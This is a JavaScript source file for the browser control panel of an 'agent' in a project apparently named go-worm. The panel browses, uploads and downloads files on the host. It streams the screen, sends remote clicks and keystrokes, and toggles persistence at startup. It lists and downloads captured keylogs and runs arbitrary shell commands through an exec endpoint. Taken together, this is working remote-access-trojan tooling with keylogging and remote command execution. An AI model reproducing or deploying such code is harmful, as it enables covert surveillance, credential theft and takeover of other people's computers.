Files
go-worm/lib/agent/web/app.js
T

434 lines
16 KiB
JavaScript
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
(() => {
const errorEl = document.getElementById("error");
const healthEl = document.getElementById("health");
const statusFields = document.getElementById("status-fields");
const pathInput = document.getElementById("file-path");
const fileMeta = document.getElementById("file-meta");
const fileRows = document.getElementById("file-rows");
const shotGallery = document.getElementById("shot-gallery");
const execOut = document.getElementById("exec-out");
const execMeta = document.getElementById("exec-meta");
const logMeta = document.getElementById("log-meta");
const logRows = document.getElementById("log-rows");
const startupState = document.getElementById("startup-state");
const startupAdd = document.getElementById("startup-add");
const startupRemove = document.getElementById("startup-remove");
const videoCanvas = document.getElementById("video-canvas");
const videoMeta = document.getElementById("video-meta");
const videoStart = document.getElementById("video-start");
const videoStop = document.getElementById("video-stop");
let objectUrls = [];
let videoRunning = false;
let lastMonitor = { left: 0, top: 0, width: 0, height: 0 };
function showError(message) {
errorEl.textContent = message || "";
errorEl.classList.toggle("show", Boolean(message));
}
async function readError(res) {
try {
const data = await res.json();
return data.error || res.statusText;
} catch {
return res.statusText || "request failed";
}
}
async function api(url, options) {
showError("");
const res = await fetch(url, options);
if (!res.ok) {
throw new Error(await readError(res));
}
return res;
}
function formatBytes(n) {
if (n < 1024) return `${n} B`;
const units = ["KB", "MB", "GB", "TB"];
let value = n / 1024;
let i = 0;
while (value >= 1024 && i < units.length - 1) {
value /= 1024;
i += 1;
}
return `${value.toFixed(value >= 10 ? 0 : 1)} ${units[i]}`;
}
function joinPath(base, name) {
if (!base) return name;
if (/[\\/]$/.test(base)) return base + name;
return `${base}\\${name}`;
}
function parentPath(path) {
const trimmed = String(path || "").replace(/[\\/]+$/, "");
const idx = Math.max(trimmed.lastIndexOf("\\"), trimmed.lastIndexOf("/"));
if (idx <= 2) return trimmed.slice(0, 3);
return trimmed.slice(0, idx);
}
function revokeShots() {
for (const url of objectUrls) URL.revokeObjectURL(url);
objectUrls = [];
}
async function loadHealth() {
try {
const res = await api("/health");
const data = await res.json();
healthEl.textContent = data.status === "ok" ? "online" : data.status;
healthEl.className = "badge ok";
} catch (err) {
healthEl.textContent = "offline";
healthEl.className = "badge bad";
showError(err.message);
}
}
async function loadStatus() {
const res = await api("/api/v1/status");
const data = await res.json();
const fields = [
["Hostname", data.hostname],
["User", data.user],
["OS", data.os],
["Architecture", data.architecture],
["Version", data.agent_version],
["Listen", data.listen_address],
["Uptime", `${data.uptime_seconds}s`],
["Local IPs", (data.local_ips || []).join(", ") || "—"],
["Startup", data.startup_enabled ? "enabled" : "disabled"],
];
setStartup(Boolean(data.startup_enabled));
statusFields.replaceChildren(
...fields.flatMap(([label, value]) => {
const dt = document.createElement("dt");
dt.textContent = label;
const dd = document.createElement("dd");
dd.textContent = value || "—";
return [dt, dd];
})
);
}
async function uploadFile(file) {
const dir = pathInput.value.trim();
if (!dir) {
throw new Error("open a folder first");
}
const form = new FormData();
form.set("path", dir);
form.set("file", file);
showError("");
const res = await fetch("/api/v1/upload", { method: "POST", body: form });
if (!res.ok) {
throw new Error(await readError(res));
}
return res.json();
}
async function listFiles(path) {
const query = new URLSearchParams();
if (path) query.set("path", path);
query.set("depth", "0");
const res = await api(`/api/v1/files?${query}`);
const data = await res.json();
pathInput.value = data.path || "";
const entries = data.entries || [];
fileMeta.textContent = `${entries.length} entries`;
fileRows.replaceChildren();
for (const entry of entries) {
const tr = document.createElement("tr");
const name = document.createElement("td");
name.className = entry.type === "dir" ? "name" : "name file";
name.textContent = entry.name;
name.addEventListener("click", () => {
const full = joinPath(data.path, entry.name);
if (entry.type === "dir") {
listFiles(full).catch((err) => showError(err.message));
} else {
const link = document.createElement("a");
link.href = `/api/v1/download?path=${encodeURIComponent(full)}`;
link.download = entry.name;
document.body.append(link);
link.click();
link.remove();
}
});
const type = document.createElement("td");
type.textContent = entry.type;
const size = document.createElement("td");
size.textContent = entry.type === "dir" ? "—" : formatBytes(entry.size || 0);
const modified = document.createElement("td");
modified.textContent = entry.modified_time ? new Date(entry.modified_time).toLocaleString() : "";
tr.append(name, type, size, modified);
fileRows.append(tr);
}
}
async function captureScreen() {
revokeShots();
shotGallery.replaceChildren();
const format = document.getElementById("shot-format").value;
const quality = document.getElementById("shot-quality").value;
const res = await api(`/api/v1/screenshot?format=${encodeURIComponent(format)}&quality=${encodeURIComponent(quality)}`);
const contentType = res.headers.get("content-type") || "";
if (contentType.includes("application/json")) {
const data = await res.json();
for (const image of data.images || []) {
addShot(base64Blob(image.data_base64, image.content_type), `Monitor ${image.monitor}`);
}
return;
}
addShot(await res.blob(), "Display");
}
function base64Blob(data, contentType) {
const binary = atob(data);
const bytes = new Uint8Array(binary.length);
for (let i = 0; i < binary.length; i += 1) {
bytes[i] = binary.charCodeAt(i);
}
return new Blob([bytes], { type: contentType || "application/octet-stream" });
}
function addShot(blob, caption) {
const url = URL.createObjectURL(blob);
objectUrls.push(url);
const figure = document.createElement("figure");
const img = document.createElement("img");
img.src = url;
img.alt = caption;
const figcaption = document.createElement("figcaption");
figcaption.className = "meta";
figcaption.textContent = caption;
figure.append(img, figcaption);
shotGallery.append(figure);
}
function setStartup(enabled) {
startupState.textContent = enabled ? "Startup: enabled" : "Startup: disabled";
startupAdd.disabled = enabled;
startupRemove.disabled = !enabled;
}
async function setStartupEnabled(enabled) {
const res = await api("/api/v1/startup", { method: enabled ? "POST" : "DELETE" });
const data = await res.json();
setStartup(Boolean(data.startup_enabled));
loadStatus().catch((err) => showError(err.message));
}
function clamp(value, min, max) {
const n = Number(value);
if (!Number.isFinite(n)) return min;
return Math.min(max, Math.max(min, Math.round(n)));
}
function sleep(ms) {
return new Promise((resolve) => setTimeout(resolve, ms));
}
async function startVideo() {
if (videoRunning) return;
videoRunning = true;
videoStart.disabled = true;
videoStop.disabled = false;
while (videoRunning) {
const started = Date.now();
try {
await pullVideoFrame();
} catch (err) {
showError(err.message);
}
if (!videoRunning) break;
const fps = clamp(document.getElementById("video-fps").value, 1, 15);
await sleep(Math.max(0, 1000 / fps - (Date.now() - started)));
}
}
function stopVideo() {
videoRunning = false;
videoStart.disabled = false;
videoStop.disabled = true;
}
async function pullVideoFrame() {
const quality = clamp(document.getElementById("video-quality").value, 1, 100);
const monitor = clamp(document.getElementById("video-monitor").value, 0, 64);
const res = await api(`/api/v1/screenshot?format=jpeg&quality=${quality}&monitor=${monitor}`);
lastMonitor = {
left: Number(res.headers.get("X-Monitor-Left") || 0),
top: Number(res.headers.get("X-Monitor-Top") || 0),
width: Number(res.headers.get("X-Monitor-Width") || 0),
height: Number(res.headers.get("X-Monitor-Height") || 0),
};
const blob = await res.blob();
const bitmap = await createImageBitmap(blob);
if (videoCanvas.width !== bitmap.width || videoCanvas.height !== bitmap.height) {
videoCanvas.width = bitmap.width;
videoCanvas.height = bitmap.height;
}
const ctx = videoCanvas.getContext("2d");
ctx.drawImage(bitmap, 0, 0);
const width = bitmap.width;
const height = bitmap.height;
bitmap.close();
videoMeta.textContent = `${width}×${height} · monitor ${monitor} @ ${lastMonitor.left},${lastMonitor.top}`;
}
async function sendClick(event, button) {
if (!lastMonitor.width || !lastMonitor.height) return;
const rect = videoCanvas.getBoundingClientRect();
if (!rect.width || !rect.height) return;
const bitmapX = Math.floor((event.clientX - rect.left) * (videoCanvas.width / rect.width));
const bitmapY = Math.floor((event.clientY - rect.top) * (videoCanvas.height / rect.height));
const x = lastMonitor.left + bitmapX;
const y = lastMonitor.top + bitmapY;
const monitor = clamp(document.getElementById("video-monitor").value, 0, 64);
await api("/api/v1/input/click", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ x, y, button, monitor }),
});
}
async function sendVideoText() {
const field = document.getElementById("video-text");
const text = field.value;
if (!text) return;
const delayMs = clamp(document.getElementById("video-key-delay").value, 0, 200);
await api("/api/v1/input/text", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ text, delay_ms: delayMs }),
});
field.value = "";
}
async function listKeylogs() {
const res = await api("/api/v1/keylog");
const data = await res.json();
const files = data.files || [];
logMeta.textContent = `${files.length} files · ${data.directory || ""}`;
logRows.replaceChildren();
for (const file of files) {
const tr = document.createElement("tr");
const name = document.createElement("td");
name.textContent = file.name;
const size = document.createElement("td");
size.textContent = formatBytes(file.size || 0);
const modified = document.createElement("td");
modified.textContent = file.modified_time ? new Date(file.modified_time).toLocaleString() : "";
const action = document.createElement("td");
const link = document.createElement("a");
link.href = `/api/v1/keylog/download?file=${encodeURIComponent(file.name)}`;
link.download = file.name;
link.textContent = "Download";
action.append(link);
tr.append(name, size, modified, action);
logRows.append(tr);
}
}
async function runCommand() {
const command = document.getElementById("exec-command").value.trim();
const timeout = Number(document.getElementById("exec-timeout").value);
const res = await api("/api/v1/exec", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ command, timeout_sec: timeout }),
});
const data = await res.json();
execMeta.textContent = `exit code ${data.exit_code}`;
const stdout = data.stdout || "";
const stderr = data.stderr || "";
execOut.textContent = [stdout, stderr && `STDERR:\n${stderr}`].filter(Boolean).join("\n\n");
}
document.querySelectorAll("nav button").forEach((button) => {
button.addEventListener("click", () => {
document.querySelectorAll("nav button").forEach((item) => item.classList.remove("active"));
document.querySelectorAll(".panel").forEach((panel) => panel.classList.remove("active"));
button.classList.add("active");
document.getElementById(button.dataset.tab).classList.add("active");
if (button.dataset.tab !== "video") {
stopVideo();
}
if (button.dataset.tab === "logs") {
listKeylogs().catch((err) => showError(err.message));
}
});
});
document.getElementById("refresh-status").addEventListener("click", () => {
Promise.all([loadHealth(), loadStatus()]).catch((err) => showError(err.message));
});
startupAdd.addEventListener("click", () => {
setStartupEnabled(true).catch((err) => showError(err.message));
});
startupRemove.addEventListener("click", () => {
setStartupEnabled(false).catch((err) => showError(err.message));
});
document.getElementById("file-list").addEventListener("click", () => {
listFiles(pathInput.value.trim()).catch((err) => showError(err.message));
});
document.getElementById("file-up").addEventListener("click", () => {
listFiles(parentPath(pathInput.value.trim())).catch((err) => showError(err.message));
});
const filePicker = document.getElementById("file-picker");
document.getElementById("file-upload").addEventListener("click", () => {
filePicker.click();
});
filePicker.addEventListener("change", () => {
const file = filePicker.files[0];
filePicker.value = "";
if (!file) return;
uploadFile(file)
.then((data) => {
fileMeta.textContent = `uploaded ${data.name} (${formatBytes(data.size || 0)})`;
return listFiles(pathInput.value.trim());
})
.catch((err) => showError(err.message));
});
document.getElementById("shot-capture").addEventListener("click", () => {
captureScreen().catch((err) => showError(err.message));
});
videoStart.addEventListener("click", () => {
startVideo().catch((err) => showError(err.message));
});
videoStop.addEventListener("click", () => stopVideo());
videoCanvas.addEventListener("click", (event) => {
sendClick(event, "left").catch((err) => showError(err.message));
});
videoCanvas.addEventListener("contextmenu", (event) => {
event.preventDefault();
sendClick(event, "right").catch((err) => showError(err.message));
});
document.getElementById("video-send").addEventListener("click", () => {
sendVideoText().catch((err) => showError(err.message));
});
const videoKeyDelay = document.getElementById("video-key-delay");
const videoKeyDelayVal = document.getElementById("video-key-delay-val");
videoKeyDelay.addEventListener("input", () => {
videoKeyDelayVal.textContent = videoKeyDelay.value;
});
document.getElementById("video-text").addEventListener("keydown", (event) => {
if (event.key === "Enter") {
event.preventDefault();
sendVideoText().catch((err) => showError(err.message));
}
});
document.getElementById("exec-run").addEventListener("click", () => {
runCommand().catch((err) => showError(err.message));
});
document.getElementById("log-refresh").addEventListener("click", () => {
listKeylogs().catch((err) => showError(err.message));
});
Promise.all([loadHealth(), loadStatus(), listFiles("")]).catch((err) => showError(err.message));
})();